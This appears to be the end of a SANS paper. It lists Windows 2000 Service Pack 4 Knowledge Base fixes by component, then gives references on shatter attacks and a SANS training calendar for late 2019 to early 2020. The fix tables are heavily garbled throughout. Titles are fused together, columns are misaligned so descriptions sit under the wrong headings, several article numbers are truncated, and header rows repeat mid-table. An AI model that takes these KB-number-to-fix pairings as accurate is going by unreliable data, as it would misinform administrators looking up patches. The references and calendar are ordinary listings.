<td>Other N</td>
<td></td>
</tr>
<tr>
<td>Other Dial-up N</td>
<td></td>
</tr>
<tr>
<td>Other Application center replication N</td>
<td></td>
</tr>
<tr>
<td>Other N</td>
<td></td>
</tr>
<tr>
<td>Other N</td>
<td></td>
</tr>
<tr>
<td>Other N</td>
<td></td>
</tr>
<tr>
<td>Other N</td>
<td></td>
</tr>
<tr>
<td>Other N</td>
<td></td>
</tr>
<tr>
<td>Other N</td>
<td></td>
</tr>
</tbody>
</table>
The Spooler Service May Crash Under Stress
You Receive a “Stop 0x51 (REGISTRY_ERROR)” Error Message
Parts of Your Print Job Are Missing If You Print One or More Very Large Documents
Failfast Occurs If the Authentication Level of a COM+ Server Package Is Set to None
Client Active Directory Queries Fail with 0x80050000 COMREPL Utility Does Not Respond When You Install Microsoft .NET Framework
Print Queues Are Republished with an Incorrect Name If the 286254 Update Is Installed
Explorer May Change the Active Distributed File System Share Server May Stop Responding If You Use a Program That Uses Sharable Pages
First Character of Each Line Is Missing When You Print with the Generic Printer Driver
You Sporadically Receive "Stop 0x1E" Error Message in Win32k.sys in Windows 2000
Computer with Disjoined Namespace Is Not Authenticated by Using 802.1x with a Radius Server in its Domain
Data That Is Not Valid Is Copied from a USB Floppy Disk Drive If the PAE Option Is Used
The System Event Log Contains Many Event 61 Entries
Spooler CPU Usage Remains Above 50 Percent If an LPR Port Has a DNS Name That Is Not Valid for the LPD Server
FIX: Winprint Produces Incorrect Output for Booklet Printing of Mixed Orientation Document
FIX: The DrvDestroyFont Function is Never Called on Windows 2000
Unexpected Blank Space Is Inserted After Accented Characters

An Event Handle Leak Occurs with the System.EventLog Class

812419 Printing Programs that use the Microsoft .NET Framework

Printer Operators Group Is Not Listed in the Terminal Server Redirected Print Queue

814408 Printing Terminal Server Redirected Print Queue

Unexpected Delay When You Log Off

814770 Printing Log off delay

Memory Leak in Services.exe When Checking Arcname CRL Distribution Point Extension Is Not Suppressed by the Capolicy.inf File

274450 Security Memory leak Documentation error

Page Cannot Be Displayed Error During SSL 3.0

297528 Security Page not displayed

Server Session Timeout Creator/Owner Rights Are Removed by Policy Editor

305217 Security Policy Editor or the Security Template Editor snap-in,

An Incorrect Authentication Package Name May Appear in Audit Event 529 Microsoft Cryptography API May Not Work If the Default CSP Has Been Set

312827 Security You may see an incorrect authentication package name in audit event 529 (Logon Failure).

Incorrectly An Attack on Port 1720 May Cause NetMeeting to Refuse Incoming Connections

313494 Security Netmeeting

RID Pool Allocation and Sizing Changes in Windows 2000

315092 Security domain controllers may not be able to create user accounts

2000 SP4 Auditing May Not Work for User Logoff

316201 Security Not Enough Info

Cannot Connect to Web Sites That Require SSL 3.0

318815 Security cannot connect to some Web sites

The PKI Dialog Box Appears Multiple Times If You Click Cancel

318873 Security pki dialog

Stop 0x000000B8 Error Occurs in a Windows 2000 Cluster

318988 Security Clustering IP Security (IPSEC) Policy Management MMC

Memory A Security Policy Does Not Process Restricted Groups Correctly

319418 Security configure a restricted group by using Group Policy,

Event ID 528 May Not Be Logged If LsaLogonUser() Is Called

320099 Security Logs

Data That Is Protected by User's Private Key Can Be Accessed by a Domain Administrator Who Resets the User's Password

320670 Security Domain Administrator Who Resets the User's Password

Clients Cannot Log On by Using Kerberos over TCP MS02-032: Windows Media Player Rollup Available

320828 Security Media Player

320903 Security

320920
<table>
<thead>
<tr>
<th>#</th>
<th>Description</th>
<th>Source</th>
<th>Recommended Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>321217</td>
<td>You Receive an &quot;Action Could Not Be Completed&quot; Error Message When You Select Many Recipients in the Global Address List</td>
<td>Security</td>
<td>N</td>
</tr>
<tr>
<td>321323</td>
<td>ADSI with the OLE DB Provider May Leak Memory You Must Restart the Computer After Joining a Domain with Service Pack 2</td>
<td>Security</td>
<td>N</td>
</tr>
<tr>
<td>321328</td>
<td>Memory Loads If You Use SQL Syntax You Must Restart the Computer After Joining a Domain with Service Pack 2</td>
<td>Security</td>
<td>N</td>
</tr>
<tr>
<td>32175</td>
<td>The Spooler Service Stops Working Under High Memory Loads</td>
<td>Security</td>
<td>High memory loads</td>
</tr>
<tr>
<td>32202</td>
<td>Bridge Device GetEffectiveRightsFromAcl Function Causes an Access Violation</td>
<td>Security</td>
<td>N</td>
</tr>
<tr>
<td>322760</td>
<td>DHCP Service Uses a Default TTL Value of 900 Seconds</td>
<td>Security</td>
<td>DHCP Service</td>
</tr>
<tr>
<td>322999</td>
<td>Second</td>
<td>Security</td>
<td>Two IDE Drives</td>
</tr>
<tr>
<td>323153</td>
<td>With Two IDE Drives SFM Macintosh Logon Audit Event Is Not Logged When</td>
<td>Security</td>
<td>PCI Device</td>
</tr>
<tr>
<td>323758</td>
<td>You Use Microsoft UAM Cannot Log On to Domain After Adding a Computer to a Domain</td>
<td>Security</td>
<td>N</td>
</tr>
<tr>
<td>324377</td>
<td>Certificate Mapping MS02-051: Cryptographic Flaw in RDP Protocol Can Cause Information Disclosure</td>
<td>Security</td>
<td>Remote Desktop Protocol (RDP) to provide remote terminal sessions to clients.</td>
</tr>
<tr>
<td>324380</td>
<td>Disclosure</td>
<td>Security</td>
<td>N</td>
</tr>
<tr>
<td>324553</td>
<td>CAPS LOCK Key State in MS-DOS Programs May Be Incorrect Problems When You Use a ComboBox with a Large ComboBox</td>
<td>Security</td>
<td>N</td>
</tr>
<tr>
<td>325083</td>
<td>Number of Items The Logical Disk Counters Read Zero on a Cluster After a Disk Failover and Failback 100% Utilization of the Available CPU on Many Single Processors</td>
<td>Security</td>
<td>N</td>
</tr>
<tr>
<td>326363</td>
<td>Windows 2000 DNS Does Not Resolve NS to CNAME</td>
<td>Security</td>
<td>DNS Does Not Resolve</td>
</tr>
</tbody>
</table>
Mapping

Service-Specific Error Code -2147944102 Error
Message If You Try to Start the Background Intelligent Transfer Service (BITS)

Service Security Background Intelligent Transfer Service (BITS) N
Some Programs May Be Slow When Accessing Files on a Network Share STOP: 0x000000D6 Error in Win32k.sys Occurs in Windows 2000
Security Programs slow N
A Memory Leak Occurs in Lsass.exe When You Use IMAP4 Over SSL on Exchange Server 5.5
Security Exchange server N
Windows XP SP1 Checks for Existing Roaming User Profile Folders When a Roaming User Profile Is Created
Security XP N
The "Lock on Smartcard Removal" Policy Setting Does Not Work If There Is Unsaved Work on the Computer When You Log Off
Security smartcard removal N
MS02-062: October 2002 Cumulative Patch for Internet Information Services
Security Cum patch IIS N
Some Winsock Functions May Cause a High CPU Load
Security Winsock N
New Resolution for Problems That Occur When Users Belong to Many Groups
Security Users to many groups N
Windows 2000 CSNW Always Calls the Nearest Server for Logging On to an NDS Tree
Security N
Removing Default Startup of Internet Explorer from the Internet Connection Wizard
Security N
HTTP Authentication: IIS Waits for Request Entity Body Before It Sends a "401 Authentication Required" Response
Security Remove startup N
INFO: Availability of Windows 2000 Post-Service Pack 3 COM+ Hotfix Rollup Package 22
Security Information N
MS02-066: November, 2002, Cumulative Patch for Internet Explorer
Security IE Cum patch N
FIX: Multi-Border DVD with More Than 4 GB of Data Not Readable Past First Border
Security DVD Multiborder N
<table>
<thead>
<tr>
<th>Bug Code</th>
<th>Description</th>
<th>Security</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>329145</td>
<td>Cannot Copy a Directory with Extended Attributes to a FAT32 Partition</td>
<td>Error message</td>
<td>N</td>
</tr>
<tr>
<td>329316</td>
<td>Mscs.dll Failed to Load DNS Name Resolution Does Not Work for Users Who Are Not Administrators</td>
<td>Post SP3 install</td>
<td>N</td>
</tr>
<tr>
<td>329405</td>
<td>Extending NTFS Volume Fails but Appears to Be Successful</td>
<td>DNS Name res</td>
<td>N</td>
</tr>
<tr>
<td>329826</td>
<td>The Microsoft Message Queue Server Migration Tool Does Not Permit a Primary Enterprise Controller Upgrade in the Child Domain</td>
<td>NTFS Volume fails</td>
<td>N</td>
</tr>
<tr>
<td>330002</td>
<td>Access Violation Error Message in Print Services for Macintosh</td>
<td>MMQ</td>
<td>N</td>
</tr>
<tr>
<td>330029</td>
<td>Printer ACLs Are Missing After You Apply Windows 2000 SP3</td>
<td>Macintosh client</td>
<td>N</td>
</tr>
<tr>
<td>330164</td>
<td>&quot;STOP: c000021a (Fatal System Error)&quot; Error Occurs</td>
<td>Printer ACLs missing</td>
<td>N</td>
</tr>
<tr>
<td>330303</td>
<td>MS03-014: April, 2003, Cumulative Patch for Outlook Express Userinit.exe May Stop Working in Windows 2000 SP3</td>
<td>Error message</td>
<td>N</td>
</tr>
<tr>
<td>330994</td>
<td>Outlook Express Bugcheck with Stop Message &quot;STOP 0x000000CE&quot; and Svr.sys in Crashdump When</td>
<td>OE Cum patch from a terminal session</td>
<td>N</td>
</tr>
<tr>
<td>331490</td>
<td>Computer Shuts Down Setpwd.exe Enhancement to Specify a DSRM</td>
<td>Stop message</td>
<td>N</td>
</tr>
<tr>
<td>810022</td>
<td>Password as an Argument Updates to Restricted Groups Behavior of User-Defined Local Groups</td>
<td>Enhancement</td>
<td>N</td>
</tr>
<tr>
<td>810076</td>
<td>CPU Usage May Be High After You Turn On Auditing for HKEY_LOCAL_MACHINE\System</td>
<td>Restricted groups</td>
<td>N</td>
</tr>
<tr>
<td>810088</td>
<td>Security Vulnerability in DirectX Files Viewer</td>
<td>CPU High usage</td>
<td>N</td>
</tr>
<tr>
<td>810202</td>
<td>ActiveX Control INFO: Availability of Windows 2000 Post-Service Pack 3 COM+ Hotfix Rollup</td>
<td>IE vulnerability</td>
<td>N</td>
</tr>
<tr>
<td>810578</td>
<td>Package 24 Lsass.exe Memory Usage Increasing Regardless of Server Load</td>
<td>Information</td>
<td>N</td>
</tr>
<tr>
<td>810585</td>
<td>Hyperlinks Open in Internet Explorer Instead of in the Default Browser</td>
<td>Usage</td>
<td>N</td>
</tr>
<tr>
<td>810649</td>
<td>MS03-001: Unchecked Buffer in the Locator</td>
<td>Browser not IE</td>
<td>N</td>
</tr>
<tr>
<td>810833</td>
<td>Service Might Permit Code</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>ID</td>
<td>Brief Description</td>
<td>Category</td>
<td>Associated Component</td>
</tr>
<tr>
<td>--------</td>
<td>-----------------------------------------------------------------------------------</td>
<td>----------</td>
<td>-----------------------</td>
</tr>
<tr>
<td>MS03-018: May 2003 Cumulative Patch for Internet Information Services (IIS)</td>
<td>Security</td>
<td>IIS Patch</td>
<td>N</td>
</tr>
<tr>
<td>81114</td>
<td>HTML Help Update to Limit Functionality When It Is Invoked with the window.showHelp( )</td>
<td>Security</td>
<td>Help function</td>
</tr>
<tr>
<td>811630</td>
<td>A Memory Leak Occurs in the Lsass Process</td>
<td>Security</td>
<td></td>
</tr>
<tr>
<td>812428</td>
<td>IPSec Does Not Support the PKI Trust Path Capabilities If You Use Certificate Authentication in IKE</td>
<td>Security</td>
<td></td>
</tr>
<tr>
<td>812872</td>
<td>&quot;Failed to Save &lt;Template&gt;.inf&quot; Error Message Occurs When You Try to Save a Global</td>
<td>Security</td>
<td></td>
</tr>
<tr>
<td>813423</td>
<td>Security Profile Template Your Computer Stops Responding When You Create a File on a Local File Share</td>
<td>Security</td>
<td>Global Security Profile Template</td>
</tr>
<tr>
<td>813485</td>
<td>MS03-015: April, 2003, Cumulative Patch for Internet Explorer</td>
<td>Security</td>
<td>Hang computer</td>
</tr>
<tr>
<td>813489</td>
<td>Cannot Remove Orphaned Exchange Domain Servers Security Group from Exchange Enterprise</td>
<td>Security</td>
<td>IE patch</td>
</tr>
<tr>
<td>813877</td>
<td>Access Mask 0xCCCCCC When Using the GetEffectiveRightsFromAcl Function</td>
<td>Security</td>
<td>Exchange server</td>
</tr>
<tr>
<td>814055</td>
<td>Lsass.exe Uses More Memory Than Expected Unsuccessful Authentication Causes a Memory Leak in the Kerberos Component of Lsass.exe</td>
<td>Security</td>
<td>ACL List</td>
</tr>
<tr>
<td>814886</td>
<td>MS03-007: Unchecked Buffer in Windows Component May Cause Web Server Compromise</td>
<td>Security</td>
<td>Information</td>
</tr>
<tr>
<td>815225</td>
<td>Rights Services Do Not Start Correctly After You Configure Group Policy Settings That Are in the Default Domain Controller</td>
<td>Security</td>
<td>Terminal server</td>
</tr>
<tr>
<td>815414</td>
<td>Policy</td>
<td>Security</td>
<td>Group Policy Settings</td>
</tr>
</tbody>
</table>
### Security

<table>
<thead>
<tr>
<th>Number</th>
<th>Title</th>
<th>Category</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>MS03-019</td>
<td>Flaw in ISAPI Extension for Windows Media Services Could Cause Denial of Service</td>
<td>Security</td>
<td>Multicast streaming</td>
</tr>
<tr>
<td>817772</td>
<td>List of Security Fixes in Windows 2000 Service Pack 4</td>
<td>Security</td>
<td>Information</td>
</tr>
<tr>
<td>265396</td>
<td>Slow Network Performance Occurs When You Select a File on a Share That Uses NTFS</td>
<td>Shell</td>
<td>Select a File on a Share That Uses NTFS Wallpaper changes</td>
</tr>
<tr>
<td>280687</td>
<td>Disable Change Wallpaper Policy Does Not Prevent All Wallpaper Changes</td>
<td>Shell</td>
<td>Stop 0x0000001e Error Message in Win32k.sys When Users Log Off from a Server Running Terminal Services</td>
</tr>
<tr>
<td>302510</td>
<td>Error Occurs in Mrxsmb.sys When the Digital Dashboard Is Loaded</td>
<td>Shell</td>
<td>Terminal services Stop message</td>
</tr>
<tr>
<td>315819</td>
<td>Terminal Services Performance Problems Occur Because Explorer.exe Maintains Instrumentation Data and Counters in the Registry</td>
<td>Shell</td>
<td>Terminal services</td>
</tr>
<tr>
<td>320261</td>
<td>Setting WINS-R Information in a Reverse Lookup Zone Causes an Error</td>
<td>Shell</td>
<td>Reverse Lookup Zone</td>
</tr>
<tr>
<td>321091</td>
<td>STOP A in ntk!KiAttachProcess+0x12 from win32k!PDEVOBJ::UnloadF</td>
<td>Shell</td>
<td>Stop message</td>
</tr>
<tr>
<td>321781</td>
<td>Access Violation When You Run Windows Installer in a Terminal Services Session</td>
<td>Shell</td>
<td>Terminal services you start the program from a command prompt</td>
</tr>
<tr>
<td>321787</td>
<td>Terminal Services Session STDIN/STDOUT Redirection May Not Work If Started from a File Association</td>
<td>Shell</td>
<td>Data loss</td>
</tr>
<tr>
<td>322019</td>
<td>Data Loss Occurs When You Copy Files Over the Network</td>
<td>Shell</td>
<td>Data loss</td>
</tr>
<tr>
<td>322841</td>
<td>Document and User Names Do Not Appear in Print Queue When You Print from MAC OS/X Clients</td>
<td>Shell</td>
<td>Macintosh client</td>
</tr>
<tr>
<td>323015</td>
<td>Many Secure Socket Layer Connections May Slow Down Performance</td>
<td>Shell</td>
<td>SSL Layer</td>
</tr>
<tr>
<td>323653</td>
<td>Changing the Password on a Locked-Out Account Generates a &quot;Domain Not Available&quot; Message</td>
<td>Shell</td>
<td>Error message</td>
</tr>
<tr>
<td>324141</td>
<td>UMPD Version of EngCreateBitmap Limits the Bitmap Size to 40 Megabytes</td>
<td>Shell</td>
<td>Not Enough Info</td>
</tr>
<tr>
<td>324166</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Knowledge Article Number</td>
<td>Description</td>
<td></td>
<td></td>
</tr>
<tr>
<td>--------------------------</td>
<td>-----------------------------------------------------------------------------</td>
<td></td>
<td></td>
</tr>
<tr>
<td>325038</td>
<td>Calendar Type May Change to Japanese Emperor Era When Outlook Runs Shell: Japanese and Outlook N</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ID</td>
<td>Description</td>
<td>Module</td>
<td>Is New?</td>
</tr>
<tr>
<td>---------</td>
<td>------------------------------------------------------------------------------</td>
<td>--------------</td>
<td>---------</td>
</tr>
<tr>
<td>810159</td>
<td>Tasks by Using ALT+TAB Hyperlinks Open in Internet Explorer Instead of in the Default Browser</td>
<td>Shell</td>
<td>N</td>
</tr>
<tr>
<td>810649</td>
<td>Access Violation Occurs in Windows Explorer When the My Computer Window Is Refreshed</td>
<td>Shell</td>
<td>N</td>
</tr>
<tr>
<td>810891</td>
<td>Stream Drag-and-Drop Operations Do Not Open a Confirmation Dialog Box</td>
<td>Shell</td>
<td>N</td>
</tr>
<tr>
<td>811416</td>
<td>STOP 0x00000050 in Error Message in Atmfd.dll When You Use Type 1 Fonts</td>
<td>Shell</td>
<td>N</td>
</tr>
<tr>
<td>811769</td>
<td>The RichEdit Control Undo Information May Be Lost When the Control Retrieves Text</td>
<td>Shell</td>
<td>N</td>
</tr>
<tr>
<td>812943</td>
<td>Text in the Add/Remove Programs Tool Is Garbled</td>
<td>Shell</td>
<td>N</td>
</tr>
<tr>
<td>813859</td>
<td>The Rich Edit Control May Display Documents with Right or Center Tabs</td>
<td>Shell</td>
<td>N</td>
</tr>
<tr>
<td>813870</td>
<td>Windows Stops Responding with &quot;Stop Error 0x7F&quot;</td>
<td>Shell</td>
<td>N</td>
</tr>
<tr>
<td>814789</td>
<td>Error Message</td>
<td>Shell</td>
<td>N</td>
</tr>
<tr>
<td>815019</td>
<td>List of Terminal Services Fixes in Windows 2000</td>
<td>Shell</td>
<td>N</td>
</tr>
<tr>
<td>815490</td>
<td>Dr. Watson Reports an Access Violation When Creating Connection in HyperTerminal</td>
<td>Shell</td>
<td>N</td>
</tr>
<tr>
<td>816047</td>
<td>STOP 0x1E in Win32k.sys Error May Occur in Windows 2000</td>
<td>Shell</td>
<td>N</td>
</tr>
<tr>
<td>816094</td>
<td>LDAP Provider 80070030 Reconnection Failed Error Message When You Try to Reconnect to Mailbox</td>
<td>Shell</td>
<td>N</td>
</tr>
<tr>
<td>816131</td>
<td>Windows Cannot End This Program Error Message When You Try to Close a Parent Program in Windows 2000</td>
<td>Shell</td>
<td>N</td>
</tr>
<tr>
<td>816372</td>
<td>You Receive an Access Violation Error Message When You Click the Look In Drop Down Menu of an Open Dialog Box</td>
<td>Shell</td>
<td>N</td>
</tr>
<tr>
<td>817000</td>
<td>You Receive a &quot;STOP 0x0000001E&quot; Error Message When You Quit a Program</td>
<td>Shell</td>
<td>N</td>
</tr>
<tr>
<td>Issue ID</td>
<td>Description</td>
<td></td>
<td></td>
</tr>
<tr>
<td>-----------</td>
<td>-----------------------------------------------------------------------------</td>
<td></td>
<td></td>
</tr>
<tr>
<td>817768</td>
<td>Windows Explorer Stops Responding When It Tries to Sort More Than 1 Million Objects on a RAID Controller</td>
<td></td>
<td></td>
</tr>
<tr>
<td>241404</td>
<td>Dr. Watson Error in Userinit.exe When a User Logs On to Terminal Server Users' Automatically Created Printers Visible to Other Users</td>
<td></td>
<td></td>
</tr>
<tr>
<td>25922</td>
<td>DOSkbd Is Not Available in Windows 2000</td>
<td></td>
<td></td>
</tr>
<tr>
<td>257966</td>
<td>16-Bit OLE Servers Started from 16-Bit Programs Create Extra VDMs in Terminal Server Sessions</td>
<td></td>
<td></td>
</tr>
<tr>
<td>304229</td>
<td>WINS Database Corruption May Occur After Replication The Windows Explorer Progress Bar May Be Misleading When You Move or Copy Large Files</td>
<td></td>
<td></td>
</tr>
<tr>
<td>326429</td>
<td>User Profile Unload Failure When You Start, Quit, or Log Off NetMeeting Security Event Does Not Contain an IP Address or Computer Name When an Unsuccessful Logon Attempt Occurs</td>
<td></td>
<td></td>
</tr>
<tr>
<td>328478</td>
<td>0x8000500d Error Message When ADSI Tries to Retrieve an Attribute with a Semicolon in Its Name</td>
<td></td>
<td></td>
</tr>
<tr>
<td>328715</td>
<td>Ntbackup May Stop Working If a Backup Operator Does Not Have Write Permission on the Tape</td>
<td></td>
<td></td>
</tr>
<tr>
<td>331499</td>
<td>Data Is Truncated When You Download a Gzip-Encoded Excel File in Internet Explorer High &quot;Total Errors&quot; Values in System Monitor During a Terminal Services Session Cannot Connect to a Terminal Server From a Windows-Based Terminal Services Cannot Send Recognized Input from Tablet PC to Windows 2000 with Remote Desktop</td>
<td></td>
<td></td>
</tr>
<tr>
<td>811634</td>
<td>Terminal Services Session Cannot Connect to a Terminal Server From a Windows-Based Terminal Services</td>
<td></td>
<td></td>
</tr>
<tr>
<td>813508</td>
<td>Terminal Services Cannot Send Recognized Input from Tablet PC to Windows 2000 with Remote Desktop</td>
<td></td>
<td></td>
</tr>
<tr>
<td>814066</td>
<td>List of Terminal Services Fixes in Windows 2000</td>
<td></td>
<td></td>
</tr>
<tr>
<td>815017</td>
<td>Terminal Services Pack 4 KANA Key Functions As CTRL Key When You Log On to Windows Terminal Services</td>
<td></td>
<td></td>
</tr>
<tr>
<td>816062</td>
<td>Terminal Services Client STOP 0x000000C2 Error Message When Running</td>
<td></td>
<td></td>
</tr>
<tr>
<td>816669</td>
<td>Terminal Services Terminal Services Terminal Services Terminal Services</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ID</td>
<td>Description</td>
<td></td>
<td></td>
</tr>
<tr>
<td>------</td>
<td>-----------------------------------------------------------------------------</td>
<td></td>
<td></td>
</tr>
<tr>
<td>816870</td>
<td>Multiple Windows Installer (.msi) Packages Cannot Write to the Same Registry Key on a Server That Is Running Terminal Services Terminal Services AD 2000 browser while it is enumerating transport names. N</td>
<td></td>
<td></td>
</tr>
<tr>
<td>325988</td>
<td>A &quot;Stop 50&quot; Error Occurs in the Browser (Mrxsmb.sys) Name Collision in Active Directory Causes Directory services Active Directory Sites and Services Maybe but not security M</td>
<td></td>
<td></td>
</tr>
<tr>
<td>281485</td>
<td>Replication Errors Windows 2000 Post-Service Pack 3 Active Directory Rollup Hotfix Base operating system HotFix not posted could be</td>
<td></td>
<td></td>
</tr>
<tr>
<td>318533</td>
<td>FIX: Random Access Violations When Multithreaded Applications Compatible Program compatibility More investigation ?</td>
<td></td>
<td></td>
</tr>
<tr>
<td>813648</td>
<td>Call the setlocale Function EnableTrace() Function Requires Trace Providers to Be Registered Before Base operating system Function</td>
<td></td>
<td></td>
</tr>
<tr>
<td>307331</td>
<td>Enabling Them GetNtmsObjectAttribute() Does Not Return ERROR_INSUFFICIENT_BUFFER Base operating system Error message ?</td>
<td></td>
<td></td>
</tr>
<tr>
<td>308483</td>
<td>Delayed Write Failed Error Message When You Write a File to a Server Base operating system While a client is writing a file to a server across the network</td>
<td></td>
<td></td>
</tr>
<tr>
<td>321733</td>
<td>You Cannot Access Protected Data After You Change Your Password Base operating system Access of data ?</td>
<td></td>
<td></td>
</tr>
<tr>
<td>322346</td>
<td>WM_TIMER Messages May Stop Being Delivered to Programs in Windows 2000 Base operating system WM_TIMER and programs ?</td>
<td></td>
<td></td>
</tr>
<tr>
<td>322913</td>
<td>Access Violation Error Message in Explorer.exe Base operating system Access violation in Explorer Access a network file ?</td>
<td></td>
<td></td>
</tr>
<tr>
<td>323045</td>
<td>A Network File Cannot be Opened if the File is Locked Base operating system Distributed File System (DFS) properties of a share to view the available alternate, the currently active alternate may be modified ?</td>
<td></td>
<td></td>
</tr>
<tr>
<td>324627</td>
<td>DFS Alternate Is Modified Unexpectedly Base operating system Microsoft Message Queue Server (MSMQ) is recycled, the following invalid DNS query is generated ?</td>
<td></td>
<td></td>
</tr>
<tr>
<td>327163</td>
<td>MSMQ: The Bind Syntax Is Not Correctly Interpreted FIX: RPC_S_CALL_FAILED When You Use COM Server to Call Multithreaded Client Application Base operating system MAPI on a single-threaded apartment (STA) thread ?</td>
<td></td>
<td></td>
</tr>
<tr>
<td>329688</td>
<td>COM+ Leaks Non-Root Transaction Objects Base operating system Not Enough Info ?</td>
<td></td>
<td></td>
</tr>
<tr>
<td>331009</td>
<td>The Computer Appears to Stop Responding When a Program Sends Large Blocks of Data Through TCP/IP Sockets in Windows 2000 Base operating system The Computer Appears to Stop Responding When a Program Sends Large Blocks of Data Through TCP/IP Sockets in Windows 2000 ?</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Computer May Experience a Stop 0x50 (Pool Corruption) Error in NT!ObGetObjectSecurity
Function Leaks Memory When You Start the Computer and Run a Computer Account Password Causes Error Message "0xc000006c (Password Restriction)"
High CPU Usage by RPCSS Eventing Mechanism Cannot Determine Method Calls From Late-Bound Clients
COM+ 1.0 Cannot Install DLL Modules with COM Activities in DllMain TTL Value of -1 (0xFFFFFFFF) in Dynamic Update Packet Means Use Default Zone TTL Windows 2000 Does Not Handle Selective Acks
CoCreateInstance activities in its DllMain function
Stop 0x0a Error in nt!ExpBoostOwnerThread()
The "Eject PC" Command May Not Work Intermittently

MSMQ: Performance Monitor Counters Are Lost on the Cluster During Failover

An NBT Connection Does Not Appear in the Performance Objects List

Internet Information Services/COM

Message Queuing Clustering

Networking
List of References

Works Referenced in this paper:


Microsoft. “About Windows Procedures.”


Microsoft Knowledge Base Article – 328310
http://support.microsoft.com/default.aspx?kbid=328310

http://www.progressstalk.com/archive/index.php/t-49872


http://www.security-assessment.com/Papers/Shattering_By_Example-V1_03102003.pdf


www.blackhat.com/presentations/bh-usa-03/bh-us-03-paget-code.zip


http://www.informit.com/isapi/product_id~%7B269E316A-A677-4D24-90BC-8F0DD16709EC%7D/content/index.asp (courtesy Prentice Hall PTR)


Presented to European Conference in Information Warfare, July 2002.  
http://www.isg.rhul.ac.uk/~simos/pub/ANewAvenueOfAttack-revised.pdf

Xenitellis, Symeon. “Event-driven system security vulnerabilities, an overview and demonstration.”  

**Products Referenced in this paper:**

http://www.adobe.com/products/acrobat/readstep2.html


Business Software Alliance. Information on product: GASP Auditing Tool.  
http://global.bsa.org/uk/antipiracy/tools/gasp.phtml

DameWare Development. Information on product: Dameware Mini-Remote Control.  
http://www.dameware.com/products/


Google. Information on search engine: Google. www.google.com


McAfee Security. Information on product: VirusScan.  
http://us.mcafee.com/root/catalog.asp?cid=9042


# Upcoming SANS Penetration Testing

<table>
<thead>
<tr>
<th>Event Name</th>
<th>Location</th>
<th>Dates</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS Paris December 2019</td>
<td>Paris, France</td>
<td>Dec 02, 2019 - Dec 07, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS San Francisco Winter 2019</td>
<td>San Francisco, CA</td>
<td>Dec 02, 2019 - Dec 07, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>Mentor Session - SEC504</td>
<td>Online, TX</td>
<td>Dec 04, 2019 - Feb 19, 2020</td>
<td>Mentor</td>
</tr>
<tr>
<td>Community SANS Knoxville @ CISCO</td>
<td>Knoxville, TN</td>
<td>Dec 09, 2019 - Dec 14, 2019</td>
<td>Community SANS</td>
</tr>
<tr>
<td>Community SANS Seattle SEC504</td>
<td>Seattle, WA</td>
<td>Dec 09, 2019 - Dec 14, 2019</td>
<td>Community SANS</td>
</tr>
<tr>
<td>Community SANS Dallas SEC504</td>
<td>Dallas, TX</td>
<td>Dec 09, 2019 - Dec 14, 2019</td>
<td>Community SANS</td>
</tr>
<tr>
<td>SANS Frankfurt December 2019</td>
<td>Frankfurt, Germany</td>
<td>Dec 09, 2019 - Dec 14, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Austin Winter 2020</td>
<td>Austin, TX</td>
<td>Jan 06, 2020 - Jan 11, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Mentor Session - SEC504</td>
<td>Bloomington, MN</td>
<td>Jan 08, 2020 - Feb 19, 2020</td>
<td>Mentor</td>
</tr>
<tr>
<td>Mentor Session - SEC504</td>
<td>Colorado Springs, CO</td>
<td>Jan 10, 2020 - Jan 31, 2020</td>
<td>Mentor</td>
</tr>
<tr>
<td>SANS Threat Hunting &amp; IR Europe Summit &amp; Training 2020</td>
<td>London, United Kingdom</td>
<td>Jan 13, 2020 - Jan 19, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Miami 2020 - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling</td>
<td>Miami, FL</td>
<td>Jan 13, 2020 - Jan 18, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>SANS Miami 2020</td>
<td>Miami, FL</td>
<td>Jan 13, 2020 - Jan 18, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Community SANS Raleigh SEC560</td>
<td>Raleigh, NC</td>
<td>Jan 13, 2020 - Jan 18, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>SANS Anaheim 2020</td>
<td>Anaheim, CA</td>
<td>Jan 20, 2020 - Jan 25, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Cyber Threat Intelligence Summit &amp; Training 2020</td>
<td>Arlington, VA</td>
<td>Jan 20, 2020 - Jan 27, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Community SANS Columbia SEC542 @UKI</td>
<td>Columbia, MD</td>
<td>Jan 20, 2020 - Jan 25, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>SANS Amsterdam January 2020</td>
<td>Amsterdam, Netherlands</td>
<td>Jan 20, 2020 - Jan 25, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS San Francisco East Bay 2020</td>
<td>Emeryville, CA</td>
<td>Jan 27, 2020 - Feb 01, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Community SANS Quantico SEC504</td>
<td>Quantico, VA</td>
<td>Jan 27, 2020 - Feb 01, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>SANS Vienna January 2020</td>
<td>Vienna, Austria</td>
<td>Jan 27, 2020 - Feb 01, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Las Vegas 2020</td>
<td>Las Vegas, NV</td>
<td>Jan 27, 2020 - Feb 01, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Security East 2020</td>
<td>New Orleans, LA</td>
<td>Feb 01, 2020 - Feb 08, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Mentor Session - SEC504</td>
<td>Seattle, WA</td>
<td>Feb 04, 2020 - Mar 24, 2020</td>
<td>Mentor</td>
</tr>
</tbody>
</table>